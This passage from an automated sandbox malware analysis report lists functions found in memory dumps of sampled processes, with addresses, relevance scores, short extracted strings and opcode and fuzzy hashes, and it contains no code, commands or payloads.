Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: ca8565bc46b66d4accdf50c24f73e56f9b2d92b5b5a10dadb4f9a63a13892f4e
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: 2EC00205F5B55F01E47533AE54660ADA2425BD8E28FD71172D50C800A1A8DD229941AA

Function 00007FFD9BAA4848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2112843349.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6ddd1b0d92e8834d3eeb161979bf3bc42c6a7a18f47fd359dd43ee9881eb2b
Instruction ID: e103c6a9dc0d7f23b7620971382e8a5ba4fad95b20737ad2d227383cf666ef00
Opcode Fuzzy Hash: db6ddd1b0d92e8834d3eeb161979bf3bc42c6a7a18f47fd359dd43ee9881eb2b
Instruction Fuzzy Hash: 0AC04C01F1D81A07E259622444315BF44439F95719F590575E41EDB7DECF5C6E0146CB

Function 00007FFD9BAA06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2112843349.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: 3f25e97711667b03bc81254b159532830ab9f9e30057f893008cc65cbdd1ce77
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: C4B01200D5740F00E43433FE0892078F0415B4C200FC20070D40C80091B8CD229802A7

Non-executed Functions

Function 00007FFD9BAA09B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD9BAA0B4E
#{9, xrefs: 00007FFD9BAA0B3E
c9, xrefs: 00007FFD9BAA0B56
"s9, xrefs: 00007FFD9BAA0B46

Memory Dump Source

Source File: 00000027.00000002.2112843349.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9baa0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: f7fd52e860d86d1114a4c5d6513096f24893d27060a2b33ec273ab9c9595c32c
Instruction ID: 3de1e511c334ae8efb8557435fc8c1f4e3188400b906e6b4d130303b94e64b56
Opcode Fuzzy Hash: f7fd52e860d86d1114a4c5d6513096f24893d27060a2b33ec273ab9c9595c32c
Instruction Fuzzy Hash: B841CD17B0952645E23973FD78219E96B408FA923FB0847B3F55E8D0C78C086486C2E9

Analysis Process: driverSavesNet.exePID: 7180, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BA90D48 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5\_H, xrefs: 00007FFD9BA90DF3

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID: 5\_H
API String ID: 0-3325266018
Opcode ID: 1e0e0a3f94caa796091d54483220c30d0838bb316a4eb988e750c786272841bf
Instruction ID: 3ac7c160142a2f50e32e871ff920d69e2378e8147f6e444e1cb1c6fbf812c3f2
Opcode Fuzzy Hash: 1e0e0a3f94caa796091d54483220c30d0838bb316a4eb988e750c786272841bf
Instruction Fuzzy Hash: C39105B1A09A8D4FE759EBAC88697A97FE1FF55314F0101BED00AC76E6CBB81411C744

Function 00007FFD9BAA3D31 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAA3DA6

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9baa0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: bf9ee81f2897dc3115216c0e1524516fa5f3e75177ff8b358894f92814d1643f
Instruction ID: 29ec255f9822c55b99285dac9f0951950ba5753e80520d83ba424b7eea37dfbc
Opcode Fuzzy Hash: bf9ee81f2897dc3115216c0e1524516fa5f3e75177ff8b358894f92814d1643f
Instruction Fuzzy Hash: B211E97190E7C94FDB569B7844680987FF0EF56200B4A05EFD09ACB0A3EA799945C701

Function 00007FFD9BAA3DC5 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAA3E36

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9baa0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: af9ba41ea95287515d05a3e9487ed526b9c2ce31949674d564158e6f072adcf7
Instruction ID: 42a3e1dc8c946463e1474ad9703e3d82a2f40d6400799f56388a3d314eaadaae
Opcode Fuzzy Hash: af9ba41ea95287515d05a3e9487ed526b9c2ce31949674d564158e6f072adcf7
Instruction Fuzzy Hash: C911A13194E7C84FDB16DB7884694997FB0EF66200B4A05EFD099C70A3EA795A4AC701

Function 00007FFD9BACA769 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BACA786

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: b4a568f0e6a655be40b17c5a084782748e7ee054225c99149ee2df69a77d16d4
Instruction ID: aec13b0f9a6502af75432f33d0c56d16e3e4a479da34a7c52fbdeeb8c50aa040
Opcode Fuzzy Hash: b4a568f0e6a655be40b17c5a084782748e7ee054225c99149ee2df69a77d16d4
Instruction Fuzzy Hash: 36E0927060E3C44FC71AEB7488688557FA0EF6B20134A42EFC045CF2A7EA2DC885C701

Function 00007FFD9BACA6D9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BACA6F6

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0d80c3c051bc0e056f312df375934263f41bf7ecc73710e802960721efda1345
Instruction ID: 1c128dc50b01c5d3dcc24947310191875b26ace6dc3c1e6df7dc2dc4d5df51db
Opcode Fuzzy Hash: 0d80c3c051bc0e056f312df375934263f41bf7ecc73710e802960721efda1345
Instruction Fuzzy Hash: 8FE06D6160E7C44FCB1AAA74886D454BFA0EF6721174A52EFC045CF1A7EA2D8885CB01

Function 00007FFD9BAC1E49 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAC1E66

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 4d2ec86acb3e8e585e41fe6c17fe10abb3e3a0529209606691ba62f7617ae142
Instruction ID: 48031cebcfb6bf310a5cf224662377a4473f28f88eb109cfca5ef3da0c14cec9
Opcode Fuzzy Hash: 4d2ec86acb3e8e585e41fe6c17fe10abb3e3a0529209606691ba62f7617ae142
Instruction Fuzzy Hash: 0FF06D3060E3C08FCB16EB3888688547FA0EE6720174A42EFC086CF1A3DA2D8885CB41

Function 00007FFD9BAC2D09 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAC2D26

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 8d8f995405adbd08bb4c5e99a5532741d07ccc39899ca4d9bf8d7bf72771b572
Instruction ID: 73b170a4b9eda95e262e7368778e61cd96d4d9842ec3fc8d97360a4363849ea5
Opcode Fuzzy Hash: 8d8f995405adbd08bb4c5e99a5532741d07ccc39899ca4d9bf8d7bf72771b572
Instruction Fuzzy Hash: 4DE06D6160E7C44FD71AEA748869854BFA0EF6721174A52EFC045CF1A7EA2D8889C701

Function 00007FFD9BAC6CA9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAC6CC6

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: fb7dae1f38a99bee5b546c0c89a4426cfa7d004757144bcc9a16b290e0d0d389
Instruction ID: a6348443f11c9e9a287d643d6ee7842959c42e8ffdd612b63a75c2e8346e112c
Opcode Fuzzy Hash: fb7dae1f38a99bee5b546c0c89a4426cfa7d004757144bcc9a16b290e0d0d389
Instruction Fuzzy Hash: 85E0657160E7C44FC716E73548698557FA0EF6721174A51EEC045CF1A3EA1D8885C701

Function 00007FFD9BAC83E9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAC8406

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 2a7d8824a75762471a18568fc6cbceb0140e9911f0569074ff34dd91ba48cc40
Instruction ID: 689bc8dd1398ca98357b65b9f4d10d4369da79f083fd0249de39d4c564cd687d
Opcode Fuzzy Hash: 2a7d8824a75762471a18568fc6cbceb0140e9911f0569074ff34dd91ba48cc40
Instruction Fuzzy Hash: BCE0E57154F7C44FCB16EB74886A9557FA0EE6721078B40EEC189CB1B3EA2A9849C701

Function 00007FFD9BAC1ED9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAC1EF6

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 5a664859b323c0f841fdb4204bb9e1b7bc68fae69e249cd7e31a0eccf70c63cc
Instruction ID: 212b46b0f7b147ad9aa6ce8064f0cfe4f309089093e1662b6c3c055100c4ee55
Opcode Fuzzy Hash: 5a664859b323c0f841fdb4204bb9e1b7bc68fae69e249cd7e31a0eccf70c63cc
Instruction Fuzzy Hash: 32E01A7054A3C04FCB06EB748469C553FA0EE6721078B41EEC189CF1B3E62D8949C701

Function 00007FFD9BACACA9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BACACC6

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: a69dcbc75672c126b55f1964e157a5d701b506534b770c521f710a9941002b79
Instruction ID: e36140d5b9c7868274617a7f82f24ee6a1da8cba141093ea1127bc4faa44989d
Opcode Fuzzy Hash: a69dcbc75672c126b55f1964e157a5d701b506534b770c521f710a9941002b79
Instruction Fuzzy Hash: E4E01A7154F7C44FCB1AEB75886A9547FA0AE6721078B40EEC085CF1B3EA2E8849C701

Function 00007FFD9BAC31D5 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 580db825ac8e94cf1b23867ff36762c55036058441bcc831744a58d3732efe9f
Instruction ID: da36928b84561702cdeb7d584f94fb99cdac8357253029fccd6db9b44b67df8b
Opcode Fuzzy Hash: 580db825ac8e94cf1b23867ff36762c55036058441bcc831744a58d3732efe9f
Instruction Fuzzy Hash: A4812521B1DA4E0FEBA8FB5884766B473C2EFA8354F048179D44EC72D7DD78A9458381

Function 00007FFD9BAC3265 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf752308f6fadceb55b878bad751df9227f4fd5c2e52071f9759352eea869b6
Instruction ID: 973800477564acf4b51fdbe84d679b33027bfe936f31e1c10b9f8a991e304d13
Opcode Fuzzy Hash: 6bf752308f6fadceb55b878bad751df9227f4fd5c2e52071f9759352eea869b6
Instruction Fuzzy Hash: 9351F321B1DA4E4FEBA8FF9884666B872C2EFA8354F048179D40EC72D7DD78A9414780

Function 00007FFD9BA908D0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0edfc59d53a863f31cbe44c13ae33f339fdbaa09351e198f972b6692a9d990e7
Instruction ID: 59af12ae12a513a1f1974b84613248b179235d8f671eab4f7691fec0c8c1f70f
Opcode Fuzzy Hash: 0edfc59d53a863f31cbe44c13ae33f339fdbaa09351e198f972b6692a9d990e7
Instruction Fuzzy Hash: 68412522B0C5590FE354F7BC64A9AF97781DF9933AB0446BBE44DCB1E7CD18A8418284

Function 00007FFD9BAC8862 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bc3b63f7c0a120af1bbcb23955f8bc0344dc0b5e5adcab56251109b1adeed0
Instruction ID: 27bbb7e2033cc913e53326e8db68bc780c4aab0efbb9c28b19e21988cefdf1b9
Opcode Fuzzy Hash: 43bc3b63f7c0a120af1bbcb23955f8bc0344dc0b5e5adcab56251109b1adeed0
Instruction Fuzzy Hash: 37514330E19A5D8FEB94FB588865BB8B7A1FF58315F1042B9D00DD7296CE746984CB01

Function 00007FFD9BA90960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e100669baa7fc30e75a0dd43b79daf2826a1571f4fac4d2c6ff160dcb0c3161a
Instruction ID: 7deabe47578016547b7c46d6c1c5eb8f2dc44a7b673cb7b7acfb1287b87943a3
Opcode Fuzzy Hash: e100669baa7fc30e75a0dd43b79daf2826a1571f4fac4d2c6ff160dcb0c3161a
Instruction Fuzzy Hash: 4031E911B1C9191FE768F76C646AAF973C1DF5833AB1546BBE40EC72E7CD18AC418284

Function 00007FFD9BA90998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36dcf4486190e30dea3af0e74a64fbf57009f79b3d02c665aba65a892c90622d
Instruction ID: b606f1525b625b5b38da68612db17fd907c77e7eb82bdf0143c66c333dff4b8e
Opcode Fuzzy Hash: 36dcf4486190e30dea3af0e74a64fbf57009f79b3d02c665aba65a892c90622d
Instruction Fuzzy Hash: DC210420B1991D0FF798F76C84AEA7972C2EF9C325B5541BAE40EC33E6DD58AC418285

Function 00007FFD9BA90C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47f3d2b1f9cf2724be0767b61a311cfc93003490a5ac7e31b191f11de5d9e15
Instruction ID: a15c40e03fd5eae31e0510ce95dbb2d8c3a6d449186e3748729fd9b05b89339a
Opcode Fuzzy Hash: c47f3d2b1f9cf2724be0767b61a311cfc93003490a5ac7e31b191f11de5d9e15
Instruction Fuzzy Hash: A5212332A0D28D8FE722DBA888510DD7FB0EF42264F1642B7D094DB1D2D534264AD384

Function 00007FFD9BAC21DA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70980a5fc1e106f8fca901e48a26b54a27904a43a0a075e916c14af5fcd968ea
Instruction ID: f3c72c3b7cc304643b5f4f211068431230fc19e4744ce3647fca8c85c12d4955
Opcode Fuzzy Hash: 70980a5fc1e106f8fca901e48a26b54a27904a43a0a075e916c14af5fcd968ea
Instruction Fuzzy Hash: 3C11C831B0DA5E8FEBA8FB98C4B4BB477A1EF94314F150179D449D72D2CE686D418B40

Function 00007FFD9BA93C97 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c2af3b19fd9912b8f3834b47d38578719da7d2b36bc5ac0f57638df7efb698
Instruction ID: 16e54675527f9a4bce209f60aae159e21e390e8a6b1545b54a60d9b50641d0df
Opcode Fuzzy Hash: 55c2af3b19fd9912b8f3834b47d38578719da7d2b36bc5ac0f57638df7efb698
Instruction Fuzzy Hash: DE11C630F1E50D4BEB74E75898766B832E1FF58740F0101B9D81ED32F2EE686A405686

Function 00007FFD9BA90C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb663370a1d5a2e96abb6764a25c7595e44aa8e319951c566ba7ae29df7f8b8
Instruction ID: 34fe6c789357527cb46caa289b8cf7660a712a6b623258d6f1a10af7be305ac0
Opcode Fuzzy Hash: 7cb663370a1d5a2e96abb6764a25c7595e44aa8e319951c566ba7ae29df7f8b8
Instruction Fuzzy Hash: A7112531A0E78D8FE722DBA8C8511DD7FB0DF42310F1601B7D090DB2A2D574264A8780

Function 00007FFD9BA9108D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06abf0917f035fc6178a303f78a260fa67761bad359f60dcc1a1f9d7f6eeae57
Instruction ID: 7b56939c654aada6f6bb168c4400c1276ef90b9f5606e162730e6c946fa041da
Opcode Fuzzy Hash: 06abf0917f035fc6178a303f78a260fa67761bad359f60dcc1a1f9d7f6eeae57
Instruction Fuzzy Hash: CF01D611A8E7C52FE76997B44C729A13FE1CF9726070A01FAD089CB5E3CC8E19868361

Function 00007FFD9BAC70B8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81eb404418758d1ac1da4a401ab8348199896c0a795b6e760c3210e9a60081b8
Instruction ID: cb4ea5a068362d25b00669c4d731f88e950fddc8f3591a35dde978ec39fec083
Opcode Fuzzy Hash: 81eb404418758d1ac1da4a401ab8348199896c0a795b6e760c3210e9a60081b8
Instruction Fuzzy Hash: 0601A716B0D55209D729B67C7C664E83B90CF2A23F70C42B7E19E8D5E7D80854458281

Function 00007FFD9BA90C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a383d842328e29cb2996f3aed0e4b126184f4f8c3cf0970009b218db3aa2924d
Instruction ID: e213143ce2dd9893400468673886b981f6a8c28b4f32028ae5d323a7e8b827b4
Opcode Fuzzy Hash: a383d842328e29cb2996f3aed0e4b126184f4f8c3cf0970009b218db3aa2924d
Instruction Fuzzy Hash: AF01AD31A0A78D8FE722DBA8C8911D97FB0EF42214F1641A7D494DB2A2D57466499780

Function 00007FFD9BA93317 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d208d521f93d95892a0e130503b1d335eefb6abd48052728e78545ea740a59
Instruction ID: ce710ec37dceae711e62a0698dbb9559b9a266ff561ccd859eccb1f6671b0890
Opcode Fuzzy Hash: c9d208d521f93d95892a0e130503b1d335eefb6abd48052728e78545ea740a59
Instruction Fuzzy Hash: 8F11FE30E089598FDBA4EB08C894FA973F1EB54315F1185A9D00EE32A1CE75AEC4CF85

Function 00007FFD9BACDA95 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aea694d142f8598786ef46dba5de0dde03de071e44b7161b23ed2cd4c504d78
Instruction ID: b685a994331a5ad0856b2b775b408e9504af205fb44d94d489d094a78a440431
Opcode Fuzzy Hash: 9aea694d142f8598786ef46dba5de0dde03de071e44b7161b23ed2cd4c504d78
Instruction Fuzzy Hash: 3501D431F0A41D4BEB64E69898A53FD33E2EFD4315F158035D04D97598CE79AE428740

Function 00007FFD9BAA438A Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9baa0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c748dfbe61bfd086e3feed99da4b61201afa708e6627d005fdf78d5b9e638f88
Instruction ID: 3a21fd7493e232ab9bb2fefd9a128b17f6f1e7a94c9028aa928573a67c6ddd3e
Opcode Fuzzy Hash: c748dfbe61bfd086e3feed99da4b61201afa708e6627d005fdf78d5b9e638f88
Instruction Fuzzy Hash: FE115A70F0551E8BE768DB88CC656BD76B2FF54314F01023EE416972E5DFB86A018790

Function 00007FFD9BACAF8A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0be4174e6ada1283317d441ec972e5cadbc0a14c2213010ed5126849682a4c31
Instruction ID: 9618ad0eefcd7d101969656d71f48ee97fab822db78f53dc5fb6eddfd969dae9
Opcode Fuzzy Hash: 0be4174e6ada1283317d441ec972e5cadbc0a14c2213010ed5126849682a4c31
Instruction Fuzzy Hash: 49F0F661B1AD0D4FEB90FB9C94AA7F873D1FB98311F400176E00DC3292CE7828458380

Function 00007FFD9BA90C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5229cd9add9c9f5302313a3fe1b82fc6c74adc3dd82d3e2d64c5b125f154c15d
Instruction ID: 8dd3df4f4383fa37d5c6109f1033fefbf063149a465969b3d313158b46f4507e
Opcode Fuzzy Hash: 5229cd9add9c9f5302313a3fe1b82fc6c74adc3dd82d3e2d64c5b125f154c15d
Instruction Fuzzy Hash: 6401D431A0E78D8FE722DB68C8901DD7FB0EF02314F1641E7D090DB2A2D6746649C780

Function 00007FFD9BAC9221 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2175211461.00007FFD9BAC1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ffd9bac1000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a237db2892014e286a84a052e43cee001530d9ea75cf7858c8b8de923d594d9b
Instruction ID: 693717f5276c20e6c4904076c2c051bc21db4677d91da525c909c00b74889df1
Opcode Fuzzy Hash: a237db2892014e286a84a052e43cee001530d9ea75cf7858c8b8de923d594d9b
Instruction Fuzzy Hash: 18F09651D0F6CA5AE72267B5482E0B47F60BF12250F4A41F7D4888B0A3EC591A954302

Function 00007FFD9BA93D09 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

